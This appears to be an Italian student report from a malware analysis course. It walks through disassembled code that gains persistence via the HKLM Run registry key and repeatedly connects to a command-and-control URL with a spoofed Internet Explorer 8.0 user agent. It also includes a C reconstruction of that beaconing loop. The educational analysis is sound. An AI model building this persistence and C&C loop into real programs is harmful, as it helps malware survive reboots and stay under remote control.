Report UNIT 3 WEEK 11

Malware analysis

```
0040286F   push    2               ; samDesired
00402871   push    eax             ; ulOptions
00402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877   push    HKEY_LOCAL_MACHINE ; hKey
0040287C   call    esi ; RegOpenKeyExW
0040287E   test    eax, eax
00402880   jnz     short loc_4028C5
00402882
00402882 loc_402882:
00402882   lea     ecx, [esp+424h+Data]
00402886   push    ecx             ; lpString
00402887   mov     bl, 1
00402889   call    ds:lstrlenW
0040288F   lea     edx, [eax+eax+2]
00402893   push    edx             ; cbData
00402894   mov     edx, [esp+428h+hKey]
00402898   lea     eax, [esp+428h+Data]
0040289C   push    eax             ; lpData
0040289D   push    1               ; dwType
0040289F   push    0               ; Reserved
004028A1   lea     ecx, [esp+434h+ValueName]
004028A8   push    ecx             ; lpValueName
004028A9   push    edx             ; hKey
004028AA   call    ds:RegSetValueExW
```

1. Descrivere come il malware ottiene persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite.

```
push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
push    HKEY_LOCAL_MACHINE ; hKey
call    esi ; RegOpenKeyExW

call    ds:lstrlenW

call    ds:RegSetValueExW
```

Il codice apre la chiave del registro utilizzando la funzione **RegOpenKeyExW** con chiave Software\Microsoft\Windows\CurrentVersion\Run nell'**HKEY_LOCAL_MACHINE**.

Fa un test per verificare l'apertura della chiave, se **RegOpenKeyExW** è diverso da zero, l'apertura della chiave non è riuscita e salta a loc_4028C5.

Se l'apertura della chiave ha successo ne imposta il valore tramite **RegSetValueExW**, calcolandone l'indirizzo, la lunghezza ed i parametri necessari per la chiamata.

```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

2. Identificare il client software utilizzato dal malware per la connessione ad Internet.

```
push    offset szAgent  ; "Internet Explorer 8.0"
```

Il client software utilizzato per la connessione ad Internet è Internet Explorer 8.0, che rappresenta la stringa con il nome dell'agente inviato al server durante la connessione per identificare il client software.

3. Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL.

```
push    offset szUrl    ; "http://www.malware12COM
push    esi             ; hInternet
call    edi ; InternetOpenUrlA
```

L'URL è http://www.malware12.COM e la funzione che permette al malware di connettersi è **InternetOpenUrlA**.

4. Qual è il significato ed il funzionamento del comando assembly LEA.

LEA (Load Effective Address) viene utilizzata per calcolare gli indirizzi di memoria dei dati e ottenere puntatori o indirizzi di variabili o strutture dati nel codice assembly.

Considerazioni

```c
#include <stdio.h>
#include <Windows.h>
#include <wininet.h>

DWORD WINAPI StartAddress(LPVOID lpParameter)
{
    HINTERNET hInternet, hUrl;
    const char* szAgent = "Internet Explorer 8.0";
    const char* szUrl = "http://www.malware12.com";

    hInternet = InternetOpenA(szAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hInternet == NULL)
    {
        // Errore nell'apertura della connessione a Internet
        return 1;
    }

    while (true)
    {
        hUrl = InternetOpenUrlA(hInternet, szUrl, NULL, 0, INTERNET_FLAG_RELOAD);
        if (hUrl == NULL)
        {
            // Errore nell'apertura dell'URL
            break;
        }

        // Elabora il contenuto ricevuto dall'URL

        InternetCloseHandle(hUrl);
    }

    InternetCloseHandle(hInternet);

    return 0;
}
```

Il codice apre una connessione a Internet utilizzando la funzione **InternetOpenA**() di WinINet, specificando l'agente utente come **Internet Explorer 8.0** e il tipo di accesso diretto a Internet. Successivamente, entra in un ciclo infinito in cui apre l'URL specificato tramite la funzione **InternetOpenUrlA**(), controllando gli errori e elaborando eventualmente il contenuto ricevuto dall'URL. Infine, chiude gli handle della connessione e dell'URL utilizzando la funzione **InternetCloseHandle**().

Un ciclo ripetitivo potrebbe essere utilizzato per mantenere attiva la connessione al server **C&C** o per cercare di ristabilire la connessione in caso di interruzioni. Questo può consentire al malware di rimanere in comunicazione con il server e svolgere azioni dannose o ricevere ulteriori comandi.

Un server di comando e controllo (C&C) è un componente chiave di molte forme di malware, come **botnet**, **trojan** e **worm**. È un server remoto o un insieme di server utilizzati per comunicare, controllare e coordinare le attività di un malware distribuito su dispositivi infettati.

Il server di comando e controllo funge da punto centrale di contatto per i dispositivi compromessi, noti come "bot" o "zombie". Il malware presente su tali dispositivi si connette al server C&C per ricevere istruzioni e inviare informazioni di stato.

Il ciclo potrebbe essere utilizzato anche per distribuzione di contentuti dannosi, iniezione di codice o attacchi di tipo DDoS.